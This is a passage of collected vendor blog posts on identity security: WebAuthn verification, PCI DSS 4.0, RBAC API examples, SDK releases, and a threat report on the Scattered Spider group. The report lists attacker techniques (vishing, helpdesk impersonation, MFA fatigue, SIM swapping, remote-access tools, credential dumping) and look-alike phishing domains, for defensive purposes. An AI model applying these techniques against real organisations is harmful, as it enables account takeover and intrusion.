Verify that the credential id match one of the credentials stored for the user
The payload contains the sha256 of the relying party id (rpId). The relying party should verify that the hash matches the expected rpId
Verify that the signature on the blob is a valid signature of the concatenation of the authData and the sha256 of the clientDataJSON fields. This signature must be made with the keypair the user is authenticating with

The full verification procedure is rather long and specified here.

Random nonces

For both authentication and credential creation, it is absolutely critical to make sure that nonces/challenges are truly random. Failure to do so would result in vulnerability to replay attacks.

It is also key for the relying party not to trust the client and its data. The relying party should store the nonce and verify it matches the one returned by the client.

Security flags

We’ve seen earlier how, as part of the key creation process, navigator.credentials.create returns a set of flags.

The flags field is 1 byte in length and contains the following flags:

Bit 0: User Present (UP) result.
- 1 means the user is present.
- 0 means the user is not present.
Bit 1: Reserved for future use (RFU1).
Bit 2: User Verified (UV) result.
- 1 means the user is verified.
- 0 means the user is not verified.
Bits 3-5: Reserved for future use (RFU2).
Bit 6: Attested credential data included (AT). Indicates whether the authenticator added attested credential data.
Bit 7: Extension data included (ED). Indicates if the authenticator data has extensions.

In particular, Bit 0 indicates that the authenticator asked the user to perform a “user presence test”. The WebAuthn specification says:

A test of user presence is a simple form of authorization gesture and technical process where a user interacts with an authenticator by (typically) simply touching it (other modalities may also exist), yielding a Boolean result. Note that this does not constitute Note that this does not constitute user verification because a user presence test, by definition, is not capable of biometric recognition, nor does it involve the presentation of a shared secret such as a password or PIN.

Bit 2 means that the authenticator asked the user to perform a “user verification test”. The specification says:

User Verification The technical process by which an authenticator locally authorizes the invocation of the authenticatorMakeCredential and authenticatorGetAssertion operations. User verification MAY be instigated through various authorization gesture modalities; for example, through a touch plus pin code, password entry, or biometric recognition (e.g., presenting a fingerprint) ISOBiometricVocabulary. The intent is to distinguish individual users. Note that user verification does not give the Relying Party a concrete identification of the user, but when 2 or more ceremonies with user verification have been done with that credential it expresses that it was the same user that performed all of them. The same user might not always be the same natural person, however, if multiple natural persons share access to the same authenticator.Note that user verification does not give the Relying Party a concrete identification of the user, but when 2 or more ceremonies with user verification have been done with that credential it expresses that it was the same user that performed all of them. The same user might not always be the same natural person, however, if multiple natural persons share access to the same authenticator. These flags coupled with attestation data are key to establish the trustworthiness of a key. In fact a strong authenticator which has created a keypair with both user presence and user verification is a good candidate replacement for MFA, captchas and other forms of verification.

Unfortunately, as we have mentioned throughout the article Apple has disabled attestation data on their passkeys significantly reducing the value of these flags.

Discoverable credentials vs server-side credentials

You might have noticed in the code snippets above that our toy relying party sent credential IDs to the browser when the authentication ceremony started. Server-side credentials are not discoverable, in fact the specification specifies:

“This means that the Relying Party must manage the credential’s storage and discovery, as well as be able to first identify the user in order to discover the credential IDs to supply in the navigator.credentials.get() call”

Hence to work with server-side credentials, the relying party needs to send an array of allowed credentials IDs for the user to login with.

However discoverable credentials don’t require credential IDs to be sent by the relying party, simply sending the challenge and the rpId is sufficient.

    return jsonify({
        'challenge': base64.b64encode(last_challenge).decode('ascii'),
        'rpId': site_config['relying_party_name'],
        'userVerification': 'required',
        'extensions': None,
        'timeout': 60000})

Adding new credentials to an account

As discussed, adding new credentials to a user account is a non-standardized flow, which is ripe for abuse. Relying parties need to be careful as attackers are likely to target this flow to compromise user accounts.

Passkeys make client-side synchronization and backup of credentials easier, hence there would be fewer circumstances in which a user might need to add another passkey to their account or reset their passkey. However, relying parties should account for that scenario nonetheless and the WebAuthn standard specifically encourages the creation of multiple credentials per account.

There are generally three approaches to this:

Only allow a single passkey per account (in this sense, a passkey is a 1:1 replacement for a password). This turns the problem of a lost passkey into an account reset issue.
Allow multiple passkeys to an account after a Step-Up Authentication step of the same strength. In other words, the user needs to authenticate via another passkey before being able to add another credential.
Allow multiple passkeys to an account after a Step-Up Authentication step of any strength. The upside here is the user experience, but the downside is that you reduce the security of the account to the security of the authentication factors used to add a new passkey.

Ultimately which path you pick is dependent on the sensitivity of your application.

Conclusion

Passkeys are a very exciting innovation in the authentication space. We are strong believers that identity is the last major area of security that hasn't gone through a significant upgrade in the last 10 years and, as such, is one of the key weaknesses and sources of threats.

The weakened guarantees of passkeys, compared to standard WebAuthn credentials (in particular, the inability to perform attestation), reduces their usefulness when it comes to having stronger guarantees on the user verification process as well as the security of the private key. Ultimately we are still a long way from getting rid of account takeovers and passwords. However, passkeys are also the first step towards mass adoption of what we believe to be a safer identity posture for users, so we look forward to more websites adopting them.

We prepared a small playground to see passkeys in action through the SlashID SDK, check it out! GitHub and live.

Navigating PCI DSS 4.0: The Challenge of Non-Human Identities

Will Easton, Vincenzo Iozzo — Mon, 16 Dec 2024 00:00:00 GMT

Understanding Non-Human Identity Requirements in PCI DSS v4.0

PCI DSS v4.0 introduces several new mandates aimed at enhancing the security of non-human identities:

Unique Identification: Each non-human entity must have a unique ID to ensure accountability (Requirement 8.2.2).
Secure Authentication: Strong authentication methods must be implemented, avoiding hard-coded passwords (Requirement 8.6).
Credential Management: Authentication credentials must be securely managed and rotated regularly (Requirement 8.3.5).
Least Privilege Access: Access rights should be limited to the minimum necessary (Requirement 7.1).
Regular Review and Deprovisioning: Access rights must be periodically reviewed, and unnecessary accounts removed (Requirements 7.2.5 and 8.1.4).
Monitoring and Logging: Activities of non-human accounts must be logged and monitored (Requirement 10.2.1).
Secure Transmission: Credentials must be transmitted using strong cryptography (Requirement 8.5.1).
Cryptographic Key Protection: Cryptographic keys must be securely managed (Requirement 3.5).
Avoid Hard-Coded Credentials: Hard-coded passwords in code or scripts are prohibited (Requirement 8.6.1).
Segregation of Duties: Non-human accounts must not have conflicting responsibilities (Requirement 10.4.1).

The Challenges Companies Are Facing

1. Identifying and Managing Non-Human Accounts

Challenge: Many organizations lack a comprehensive inventory of non-human accounts, which proliferate in complex IT environments. Impact: Without unique identification, accountability and traceability are difficult, increasing risks of unauthorized access and non-compliance.

2. Eliminating Hard-Coded Credentials

Challenge: Hard-coded credentials in scripts and applications are commonly used for convenience but pose significant security risks. Impact: Embedded credentials are prone to exposure, violating PCI DSS requirements.

3. Implementing Strong Authentication Methods

Challenge: Legacy systems may not support modern authentication mechanisms like API tokens or certificates. Impact: Outdated methods weaken security and hinder compliance.

4. Secure Credential Management and Rotation

Challenge: Manual credential management is time-consuming and error-prone. Impact: Infrequent rotation and insecure storage increase breach risks.

5. Enforcing Least Privilege Access

Challenge: Non-human accounts often have broad permissions for operational ease. Impact: Over-privileged access increases risks and violates the principle of least privilege.

6. Regular Review and Deprovisioning of Accounts

Challenge: Tracking access rights for all non-human accounts is difficult without automation. Impact: Orphaned or unnecessary accounts create vulnerabilities.

7. Comprehensive Monitoring and Logging

Challenge: Existing logging systems may not capture non-human account activities across platforms. Impact: Insufficient monitoring delays incident detection and response.

8. Secure Transmission of Credentials

Challenge: Ensuring secure credential transmission in mixed legacy and modern environments is challenging. Impact: Unsecured transmission can result in breaches and compliance failures.

9. Protecting Cryptographic Keys

Challenge: Securely managing cryptographic keys throughout their lifecycle requires specialized tools. Impact: Compromised keys can lead to unauthorized decryption of sensitive data.

Strategies for Achieving Compliance

Conduct a Comprehensive Audit

Inventory All Non-Human Accounts: Use automation to identify service accounts, application accounts, and APIs.
Assess Current Practices: Evaluate how credentials are managed and used.

Implement Automated Solutions

Non-Human Identity Technology: Automate inventory creation, detect over-privileged accounts, and manage credentials securely.
Credential Rotation: Enforce regular rotation via dashboards to prevent disruptions.

Upgrade Authentication Mechanisms

Adopt Strong Authentication: Transition to API keys, tokens, or certificates.
Ensure Compatibility: Use solutions that work with modern and legacy systems.

Enforce Least Privilege Access

Review and Adjust Permissions: Regularly remove over-privileged accounts based on inventory data.

Enhance Monitoring and Logging

Centralized Logging Systems: Capture detailed activities from non-human accounts across environments.
Integrate with SIEM: Use Security Information and Event Management tools for real-time anomaly detection.

Secure Communication Channels

Enforce Encryption Protocols: Use strong encryption (e.g., TLS 1.2+).
Isolate Legacy Systems: Implement compensating controls for systems that cannot be upgraded.

Develop and Enforce Policies

Non-Human Identity Policies: Define lifecycle management for non-human accounts.
Training and Awareness: Educate teams on securing non-human identities and compliance practices.

The Importance of Immediate Action

Key Steps to Take Now:

Set a Compliance Timeline: Break tasks into phases with clear deadlines.
Allocate Resources: Secure budget and personnel for implementation.
Engage Stakeholders: Involve IT, security, compliance, and management.
Monitor Progress: Regularly review and adjust the plan.
Select a Technology Partner: Automate detection and inventory tasks to expedite compliance.

Conclusion

Meeting PCI DSS v4.0 requirements for non-human identities is complex but essential. A strategic approach—combining audits, automated tools, and robust policies—bridges the technology gaps and strengthens security. By prioritizing these efforts, organizations can not only achieve compliance but also bolster their overall security posture.

About SlashID

At SlashID, we simplify identity management while enhancing security. Our expertise and tools help organizations navigate PCI DSS compliance challenges effectively. For tailored solutions, contact us to support your journey toward PCI DSS v4.0 compliance.

SlashID RBAC: Globally-available role-based access control

Robert Laszczak, Vincenzo Iozzo — Mon, 22 Jul 2024 00:00:00 GMT

Why do you need RBAC?

Most products need to have a way to restrict access to certain operations. A standard way to do this is to use Role-Based Access Control (RBAC). RBAC is a method of restricting resource access based on permissions assigned to specific persons.

In SlashID there are two ways to assign permissions to a person:

assigning a permission directly to a person,
assigning permission to a role and then assigning the role to a person.

How does RBAC work in SlashID

Our goal was to create state-of-the-art RBAC implementation in SlashID. We did it by giving you features not available in other RBAC implementations:

Our RBAC implementation is globally replicated - roles, permissions, and assignments are available in all regions, you can check permissions in any geographical location with minimal latency,
it's compatible with our replication model, where you can control write consistency,
it works with our suborganizations model, so you can share roles and permissions between organizations within the organization tree,
all write operations emit events, to which you can subscribe with webhooks.

Let's now dive into how to use RBAC in SlashID.

In this post, I will show you how to use RBAC in SlashID, and how to create permissions, and roles, and assign them to persons. I'll use an example of a billing system where we have two roles:

<SLASHID_ORG_ID_VALUE>/accountant with permissions billing.invoices.list, billing.invoices.create
<SLASHID_ORG_ID_VALUE>/administrator with permissions billing.invoices.list, billing.invoices.create, billing.invoices.void

where <SLASHID_ORG_ID_VALUE> is the ID of the organization.

Note: Organization ID is part of the role name to support the multi-organization model for RBAC.

In this scenario, persons with the <SLASHID_ORG_ID_VALUE>/accountant role will have access to read and create invoices, while persons with the <SLASHID_ORG_ID_VALUE>/administrator role can read, create, and void invoices.

Creating permissions

You can create permissions with the POST /rbac/permissions endpoint.

curl -L -X POST 'https://api.slashid.com/rbac/permissions' \
-H 'Content-Type: application/json' \
-H 'Accept: application/json' \
-H 'SlashID-OrgID: <SLASHID_ORG_ID_VALUE>' \
-H 'SlashID-API-Key: <API_KEY_VALUE>' \
--data-raw '{
 "name": "billing.invoices.list",
 "description": "This role allows to list invoices"
}'

Each endpoint allows you to specify the required regional consistency of the request. By default, the request will update the region to which the request was sent. Other regions will be updated asynchronously to achieve eventual consistency through our replication model.

Note: If you want to learn more about our replication model, please visit our documentation.

Creating roles

After creating permissions, you can create roles with the POST /rbac/roles endpoint.

curl -L -X POST 'https://api.slashid.com/rbac/roles' \
-H 'Content-Type: application/json' \
-H 'Accept: application/json' \
-H 'SlashID-OrgID: <SLASHID_ORG_ID_VALUE>' \
-H 'SlashID-API-Key: <API_KEY_VALUE>' \
--data-raw '{
 "name": "<SLASHID_ORG_ID_VALUE>/accountant",
 "description": "This role is assigned to accountants",
 "permissions": [
 "billing.invoices.list",
 "billing.invoices.create"
 ]
}'

Assigning roles and permissions to a person

After creating roles and permissions, you can assign them to a person with the PUT /persons/:person_id/roles endpoint.

curl -L -X PUT 'https://api.slashid.com/persons/:person_id/roles' \
-H 'Content-Type: application/json' \
-H 'Accept: application/json' \
-H 'SlashID-OrgID: <SLASHID_ORG_ID_VALUE>' \
-H 'SlashID-API-Key: <API_KEY_VALUE>' \
--data-raw '{
 "roles": [
 "<SLASHID_ORG_ID_VALUE>/accountant"
 ]
}'

You can also assign additional permissions with the PUT /persons/:person_id/additional-permissions endpoint.

curl -L -X PUT 'https://api.slashid.com/persons/:person_id/additional-permissions' \
-H 'Content-Type: application/json' \
-H 'Accept: application/json' \
-H 'SlashID-OrgID: <SLASHID_ORG_ID_VALUE>' \
-H 'SlashID-API-Key: <API_KEY_VALUE>' \
--data-raw '{
 "permissions": [
 "billing.invoices.list"
 ]
}'

Verifying permissions

You can check if a person has specific permission with POST /rbac/check endpoint:

curl -L -X POST 'https://api.slashid.com/rbac/check' \
-H 'Content-Type: application/json' \
-H 'Accept: application/json' \
-H 'SlashID-OrgID: <SLASHID_ORG_ID_VALUE>' \
-H 'SlashID-API-Key: <API_KEY_VALUE>' \
--data-raw '{
 "person_id": "064b7b63-ea43-76e5-b208-1900795bc5b7",
 "permission_name": "billing.invoices.list"
}'

Note: /rbac/check endpoint is transitive. It checks both permissions directly assigned to the user and permissions inherited through roles.

Finding all persons with a specific role

You can use GET /persons endpoint to filter persons by role or permission with filters:

roles eq "<SLASHID_ORG_ID_VALUE>/accountant" - find all persons with role <SLASHID_ORG_ID_VALUE>/accountant,
permissions eq "billing.invoices.list" - find all persons with permission billing.invoices.list.

For example:

curl -L -X GET 'https://api.slashid.com/persons?filter=roles%20eq%20%22a4ed1ac1-b89c-3b8e-4752-f121fed331a0%2Faccountant%22' \
-H 'Accept: application/json' \
-H 'SlashID-OrgID: <SLASHID_ORG_ID_VALUE>' \
-H 'SlashID-API-Key: <API_KEY_VALUE>'

Note: Please remember to URL encode the filter parameter.

For the entire GET /persons specification, please visit our API documentation.

Multi-org support

By default, roles and permissions are isolated within the organization tree. You can share roles and permissions between sub-organizations by enabling the inherit_rbac_pools feature when creating a suborganization.

When you enable the inherit_rbac_pools feature:

Suborganizations can't add new permissions - they can only use permissions from the first parent who has inherit_rbac_pools set to false.
Suborganizations can add new roles and assign them to persons in the sub-organization. Roles created in the sub-organization can use permissions from the parent organization.

Adding permissions to a token

You can add permissions to a token by using token templating functionality.

curl -L -X PUT 'https://api.slashid.com/organizations/config/token-template' \
-H 'Content-Type: application/json' \
-H 'Accept: application/json' \
-H 'SlashID-OrgID: <SLASHID_ORG_ID_VALUE>' \
-H 'SlashID-API-Key: <API_KEY_VALUE>' \
--data-raw '{
"content": "{ \"permissions\": {{ person.permissions }} }"
}'

Conclusion

You can find specifications for our RBAC endpoints in our API documentation. You can also use our latest OpenAPI specification.

Don't hesitate to reach out to us or sign up for free here!

Sign-in and Sign-up React component release

Ivan Kovic, Vincenzo Iozzo — Wed, 18 Jan 2023 00:00:00 GMT

Introduction

As mentioned in a previous blog post, we have been working on a set of UI components with the common goal of delivering a streamlined, low friction onboarding experience to our customers. Today we’re happy to announce the next step in that journey and release our sign-up/sign-in form component.

If you are a SlashID customer you can install our @slashid/react package to start using the components right away.

If you are not a customer yet, we'd love to give you a test account to try it out! Please send us an email at hello@slashid.dev or sign up to get started. The source code for our React components is available in our GitHub repository.

Features

The authentication form is a drop-in React component available to all our customers through the official SlashID’s React SDK. It supports all the authentication methods that our core SDK offers out of the box:

WebAuthn
Magic link via email or SMS
One-time passwords
Single sign-on

In order to use the component, customers only need to specify the authentication methods they want to use in the configuration object.

Configuration

Configuration is driven by a simple JavaScript object as illustrated below.

This example will result with the component rendering an email input for webauthn and two buttons for the login via SSO providers. The component instantly responds to any changes in the configuration and re-renders the UI, giving you a flexible and powerful platform for no-code experimentation.

The configuration object can be constructed dynamically or can also be fetched from a remote service. This facilitates a convenient way to experiment with the onboarding process and improve the related metrics without deploying any code changes.

Customization

The form is responsive and it will also adapt to dark and light display modes accordingly.

You can apply your own branding through standard CSS variables. This approach is both performant and flexible as it is not locked into a particular library or a build system. Using documented CSS variables you can customize the following:

Logo
Font family
Color palette

If further customization is required, all the building blocks of this component expose public CSS class names that can be used to select and style the elements in place using CSS.

Text content and i18n

All the text content present in the form can be edited. In order to keep the component as light as possible there’s no built in i18n solution – you can simply pass in the translated strings using the configuration interface and the i18n library you already use.

What’s next

SlashID’s Authentication React components are just a piece of the puzzle as we aim to provide a full user onboarding solution.

More blog posts are coming up on how to improve your onboarding conversion using SlashID so stay tuned!

Authentication flows with SlashID

Kasper Mroz, Vincenzo Iozzo — Fri, 12 May 2023 00:00:00 GMT

In today's fast-paced digital world, security is more important than ever. With so many authentication options available, like Single Sign-On (SSO), biometrics and social media logins, it can be tough to choose the best one for your app and strike a balance between UX and security.

Flexible Multi-Factor Authentication and Step-Up Authentication are useful tools to fight threats like account takeover and fraud while maintaining a good user experience. In this blog post, we will show you how to integrate MFA and Step-Up Authentication in React applications with SlashID.

Why choose SlashID?

Before we dive deeper, here’s a couple of reasons why you should give us a shot:

Out-of-the-box experience - with our UI components you don’t have to worry about implementing complex auth flows, such as MFA or Step-Up Authentication. For each of these flows, we have a configurable React component, ready to be used in your application.
Consistent, flexible API - each of our authentication flows is built on top of the same configuration API, so you can seamlessly switch between the various auth solutions - whichever fits your needs!
Extension by composition - our higher-level components are built using the lower-level APIs, such as LoggedIn / LoggedOut components for conditional UI rendering. Contrary to other solutions in the market, our approach doesn't require hooks and it's easy to customize. You can implement your own custom authentication flow using these bits!

Now, let’s see how all these apply in the real world examples!

Multi-Factor Authentication

MFA offers a powerful security solution by requiring users to verify their identity with two or more factors, such as passwords, security tokens, or biometrics, before accessing an application or sensitive data. At SlashID we believe in a fully passwordless future and encourage users to choose methods like email magic links or passkeys as their primary authentication factors.

Implementing MFA in your React application not only elevates security, but also reduces user friction. You can think of it as a tradeoff between safeguarding sensitive information and providing a user-friendly experience. The users aren't overwhelmed by strict security measures for every interaction, while critical data and high-risk resources receive the necessary protection.

Introducing the `<MultiFactorAuth>` component

<MultiFactorAuth> is SlashID’s MFA component, which offers a first-class MFA experience. You can specify the number of steps and authentication factors required at each step as a code configuration:

<MultiFactorAuth
  steps={[
    { factors: [{ method: 'email_link' }] }, // first factor: email magic link
    { factors: [{ method: 'otp_via_sms' }] }, // second factor: SMS OTP code
  ]}
/>

Notice how this is similar to the <Form> component configuration; in fact, <MultiFactorAuth> uses it under the hood!

With <MultiFactorAuth> you can effortlessly transition from a Single-Factor Authentication to MFA. The component takes care of the verification logic and allows you to select any number of factors for MFA.

Step-Up Authentication

Step-Up Authentication is a dynamic security measure that takes into account the risk associated with specific actions or access to sensitive data within an application. Instead of enforcing a uniform level of security for all user interactions, Step-Up Authentication allows for a more granular approach, increasing the level of required authentication only for high-risk resources or sensitive data access.

By adopting Step-Up Authentication, you can ensure a balance between usability and security. Users are allowed to access low-risk resources with their standard authentication credentials, like email magic links. However, when they attempt to access high-risk resources or interact with sensitive data (e.g., payment information), the system prompts them for additional authentication factors, such as a one-time password (OTP) sent to their mobile device, biometric data, or a physical security token.

Integrating Step-Up Authentication into your React application not only enhances security but also reduces user friction. Users are not burdened with high-level security measures for every interaction within the app, making the overall experience more user-friendly. Meanwhile, you can rest assured that critical data and high-risk resources remain protected with an added layer of security when needed.

Introducing the `<StepUpAuth>` component

<StepUpAuth> is similar to the other authentication flow components available within the React SDK. It consists of a <Form> and a lower-level <LoggedIn> component, which you can learn more about in our documentation.

A standout feature of this component is the ability to utilize the onSuccess callback function. This allows you to execute sensitive operations upon successful factor verification:

<StepUpAuth
  factors={[{ method: 'otp_via_sms' }]}
  onSuccess={() => {
    /* your sensitive operation… */
  }}
/>

And that's all there is to it – your code remains neat, well-organized, and consistent! By leveraging SlashID React SDK, you can effortlessly integrate robust security measures into your application, without compromising on user experience.

The <StepUpAuth> component empowers you to protect sensitive operations or assets within your application.

Try it yourself

If you enjoyed reading this blog post, give us a go and sign up to use the SlashID SDKs today! Remember to check out the docs – React Quickstart tutorial is a good entry point for getting started with our platform. We also have a dedicated MFA tutorial in case you want to get down to business immediately!

Multi-Factor and Step-Up Authentication are just the beginning: in the future, we plan to enable more advanced and personalized security features, such as Adaptive or Risk-Based Authentication. Stay tuned if you don’t want to miss out – let’s build a secure next generation of the Web, together!

Official React SDK release

Ivan Kovic, Vincenzo Iozzo — Mon, 28 Nov 2022 00:00:00 GMT

Design pillars

Built on top of our core JavaScript SDK, the React SDK provides an idiomatic way of using SlashID in React apps.

Our goal is to produce SDKs that are not only effective in solving common authentication problems, but also provide a great user & developer experience. Having analyzed hundreds of libraries in the JS ecosystem and decided what we liked & disliked about them, we set our design pillars:

TypeScript first - All of our client side SDKs are written in TypeScript so the developers can get a helping hand from the compiler
Server side rendering (SSR) friendly - SDKs should not prevent or obstruct SSR
Performance - Prefer solutions with the least impact to the application performance. Our SDK is modular and only ships the minimum features necessary for the modules enabled by our customer to reduce load time
Developer Experience - Support developers by exposing intuitive APIs
Accessibility (a11y) - Design the UI components with a11y in mind
Composability - Use the same APIs we expose to our customers to build the higher level components

Features

While the core SDK is stateless, the React SDK will keep track of authentication state for you. We provide the hook useSlashID which gives you access to the current User instance and the functions for logging in & out. Any change to the user value will make the components using the hook render again with the new value.

</iframe>

This hook is fundamental for the two important use cases:

Brand-focused customers can use this hook to build customized user interfaces (UIs) on top of it
We will use it internally to build stateful authentication components

This corresponds to the composability design pillar - by offering the low-level API first we empower customers to quickly and easily build their authentication UI, without interfering with their branding & design. With this foundation we can build various abstractions to take the developer experience to the next level. Our control components are a good example of the first step in that direction.

Control components

The first release of the React SDK also includes our first set of control components - <LoggedIn> and <LoggedOut>.

These components will help you conditionally render the UI based on the SDK readiness and the user authentication states. Of course that’s just the start - we’re really excited about what comes next so let’s talk about that briefly.

What’s next

Following our design pillars and especially leaning on the pillar of composability, we’ll continue building our library of control components to act as a basis for the next level - our pre-made, customizable UI components.

Our goal is to implement common authentication and session management use cases as high level UI components. Doing this while adhering to the design pillars is an interesting engineering challenge so stay tuned as we release more blog posts on this topic as we go!

Introducing the SlashID Remix SDK: Authentication made easy

Jake Whelan, Vincenzo Iozzo — Tue, 02 Jan 2024 00:00:00 GMT

Meet `@slashid/remix`

@slashid/remix is our Remix-first identity SDK. We've borrowed the power of our React SDK and aligned it with Remix's unique design patterns.

We've built the SlashID Remix SDK with ease-of-use and developer experience as our core design pillar.

@slashid/remix is our easiest to use SDK - ever! Forget about navigating through complex API documentation. @slashid/remix provides the smallest API surface possible so that it stays out of your way, enabling you to get productive fast.

Check out our quick start guide, add authentication to your Remix application in six easy steps.

Key Features

Server side rendering (SSR)

Wave goodbye to loading spinners. Remix is all about parallelizing data fetching for optimized rendering. Our components and authentication logic run server-side so you can optimize your first render based on the users authentication state. Render once.

Protected Pages

Gate pages behind login, or protect pages from users without sufficient privilege to view them using Groups - on the server and/or in the client.

Pre-built log-in & sign-up form

Render your login form with just three lines of code. Magic links, passkeys, OTP, SAML, OIDC & passwords - we've got you covered.

Not to your taste? Our form appearance can be completely customized - and we mean *completely*. Check out Form: CSS custom properties, and Form: Layout Slots & Primitives.

Auth-aware conditional rendering

Use the <LoggedIn>, <LoggedOut> and <Groups> control components to conditionally render parts of a page depending on a users authentication state or group membership.

Conclusion

In this brief post we've introduced you to @slashid/remix, the SlashID Remix SDK. Eager to experiment with Remix? We've made our SDK quick & easy to implement so you can get productive, fast.

Get started today with a free account, and learn how you can implement the SlashID Remix SDK in six easy steps with our quick start guide.

Scattered Spider Tradecraft: Identity Abuse, Attack Flow, and Defense

SlashID Team, Vincenzo Iozzo — Fri, 16 Jan 2026 00:00:00 GMT

Introduction

Scattered Spider is a highly adaptive, human-operated cybercrime group known for breaching enterprises not only through malware exploits, but by abusing identity, trust, and legitimate access paths. Active since at least 2022, the group is loosely organized, English-speaking, and heavily reliant on social engineering rather than technical zero-days. Their operations frequently involve convincing employees, contractors, or helpdesk staff to reset credentials, enroll new MFA methods, or grant access, allowing the attackers to simply log in as valid users.

What sets Scattered Spider apart is their deep understanding of enterprise identity environments. They target cloud identity providers, SSO platforms, VPNs, and privileged access workflows, often chaining together helpdesk abuse, MFA fatigue, SIM swapping, and token theft to move laterally across identity planes. Once inside, they escalate privileges, disable security controls, and pivot into SaaS, IaaS, and on-prem environments using legitimate tools and sessions. Because their activity closely resembles normal user behavior, traditional perimeter security, endpoint protection, and even MFA often fail to detect them in time.

In short, Scattered Spider don't hack – they Log In.

They exploit how modern organizations manage identity, trust users, and automate access. This makes them one of the clearest examples of why identity has become the primary attack surface in modern enterprises.

Attack Flow

Scattered Spider operations typically follow a repeatable, identity-centric attack flow rather than a traditional exploit-driven kill chain.

Each phase builds on legitimate access, trusted identity workflows, and normal administrative behavior—allowing the attacker to progress from initial compromise to full mission completion without triggering conventional security controls.

Understanding this flow is critical, because visibility gaps at any phase enable the intrusion to quietly advance across cloud, SaaS, and hybrid identity environments.

Scattered Spider TTPs

Initial Compromise

Techniques used to gain first access without exploiting software vulnerabilities:

SMS and voice phishing – vishing (T1598.004) targeting employees and contractors
Helpdesk impersonation (T1656)
MFA fatigue (T1621)
SIM swapping (T1451)

Establish Foothold

Compromised credentials
VPN or SSO access using legitimate accounts (TA0007)
Abuse of conditional access exceptions or legacy authentication paths

Maintain Persistence

Techniques used to retain access even if credentials are rotated (T1219):

Remote access legitimate software such as Ngrok (S0508), TeamViewer, AnyDesk, RustDesk, FleetDeck, Level.io, Teleport.sh
Malware such as AveMaria (S0670), RattyRat
Create accessible VMs (T1578.002) using Tailscale, then dump the AD database ntds.dit on these systems

Escalate Privilege

Enumeration of roles, groups, and delegated permissions
Malware such as Mimikatz (S0002), RacoonStealer (S1148)

Internal Reconnaissance

Enumeration of users, groups, devices, and service principals (T1213.003)
Conduct AD reconnaissance on on-premises systems using:
- Malware such as Atomic, Vidar, UltraKnot
- Legitimate software such as ADRecon, ADExplorer, PINGCASTLE

Move Laterally

Delegated admin access misuse across tenants or services
Use of legitimate remote management and administrative tools such as RDP, SSH, VMware vCenter, Socat Linux Utility

Complete Mission

Data exfiltration from cloud storage, email, and SaaS platforms
Ransomware deployment
Rapid cleanup or abandonment once objectives are met

Mapping to MITRE ATT&CK

Technique ID	Description
T1598.004	Phishing for Information: Spearphishing Voice
T1656	Impersonation
T1219	Remote Access Tools
T1578.002	Modify Cloud Compute Infrastructure: Create Cloud Instance
T1213.003	Data from Information Repositories: Code Repositories

Domains Used by Scattered Spider

Scattered Spider uses look-alike domains such as targetsname-sso[.]com or targetsname-helpdesk[.]com to exploit employee trust in familiar identity and IT workflows. These domains are designed to appear legitimate to both users and helpdesk staff, increasing the success rate of credential harvesting, MFA fatigue, and social-engineering calls.

By mimicking SSO, Okta, or service desk infrastructure, attackers can collect valid credentials and session material without deploying malware. This tactic also helps their activity blend into normal identity traffic, delaying detection by traditional security controls.

Example Domains
targetsname-sso[.]com
targetsname-servicedesk[.]com
targetsname-okta[.]com
targetsname-cms[.]com
targetsname-helpdesk[.]com
oktalogin-targetcompany[.]com

Real-World Scattered Spider Campaigns

Caesars Entertainment and MGM Resort Attack

The September 2023 cyber incidents affecting MGM Resorts International and Caesars Entertainment serve as a cautionary example of how identity-centric attacks can disrupt large enterprises without exploiting software vulnerabilities.

Attack Timeline

Date	Event
Sep 1, 2023	Early reconnaissance suspicious activity observed in both organizations
Sep 7, 2023	Caesars breach confirmed
Sep 10-11, 2023	MGM large-scale outage; ransomware deployed across MGM infrastructure
Sep 14, 2023	Scattered Spider claims massive data theft from both casino giants
Sep 18, 2023	Divergent responses: Caesars pays ~$15M ransom, MGM refuses payment
Late Sep 2023	Operations restored

Attack Lifecycle

In both incidents, the attack followed a similar identity-driven lifecycle. Initial access was achieved through social engineering, with attackers impersonating employees to manipulate IT support workflows. This enabled access to identity infrastructure, including Okta, which played a central role in authentication and access management.

Once authenticated as legitimate users, the attackers leveraged weak or inconsistently enforced MFA controls to escalate privileges and expand access across cloud and SaaS environments. Rather than relying on malware exploits, the attackers operated through trusted identity sessions, allowing them to move laterally, access sensitive systems, and exfiltrate data while blending into normal administrative activity.

In MGM's case, this access ultimately enabled deployment of BlackCat (also known as ALPHV) ransomware-as-a-service (RaaS) operation, resulting in widespread operational disruption.

Contributing Security Gaps

Several defensive shortcomings amplified the impact of both incidents:

Inadequate MFA enforcement, allowing attackers to bypass or manipulate authentication controls
Insufficient employee security awareness, increasing susceptibility to social engineering
Over-privileged identity access, enabling rapid privilege escalation once inside
Limited identity-focused detection and response, delaying recognition of abnormal access patterns

CVE-2015-2291

CVE-2015-2291 is a local privilege escalation vulnerability in Intel Ethernet diagnostics drivers that allows a low-privileged local user to achieve kernel-level code execution through crafted IOCTL calls. While technically severe and listed in CISA's Known Exploited Vulnerabilities Catalog, this vulnerability represents a traditional endpoint exploitation path, not the primary intrusion vector observed in Scattered Spider's most impactful campaigns.

In contrast to the Caesars and MGM incidents, where attackers relied almost entirely on social engineering and identity abuse, CVE-2015-2291 requires prior local access and a vulnerable driver to be present. As such, it is better understood as a post-compromise enabler rather than an initial access technique, potentially used to harden persistence or escalate control on already-compromised systems.

Defending Against Scattered Spider TTPs

Scattered Spider demonstrates a fundamental shift in how modern attacks succeed. Rather than exploiting software vulnerabilities or deploying large malware payloads, the group abuses identity systems, trusted workflows, and legitimate access paths to move through environments unnoticed.

Closing Doors

Scattered Spider exploits trust in identity workflows, not software vulnerabilities. The most effective hardening measures focus on closing identity gaps at the points most frequently abused.

Lock Down Helpdesk Identity Changes

Require positive identity verification and out-of-band confirmation for high-risk changes such as password resets, MFA changes, and account recovery. Avoid reliance on static personal data.

Helpdesk Identity Change Request
→ Require real-time TOTP verification generated by the user
→ Validate TOTP before proceeding with:
  - Password resets
  - MFA registration or removal
  - Recovery info changes
→ Block request if TOTP cannot be verified

Enforce Phishing-Resistant Authentication

Remove SMS and voice-based MFA. Require strong, phishing-resistant MFA for all users, and stricter enforcement for privileged identities.

Restrict MFA Registration and Modification

Limit MFA changes to trusted locations and compliant devices. Investigate shared MFA devices or phone numbers across multiple accounts. For organizations that leverage Microsoft Entra ID, this can be accomplished using a Conditional Access Policy.

Reduce Standing Privilege

Enforce least-privilege access, separate admin and user identities, and use just-in-time access for privileged actions.

Bind Identity to Device Trust

Require device compliance and active endpoint protection as part of authentication. Monitor for new or unmanaged devices gaining access.

Minimize Lateral Movement Paths

Restrict remote authentication for local and service accounts and limit administrative access to hardened environments only.

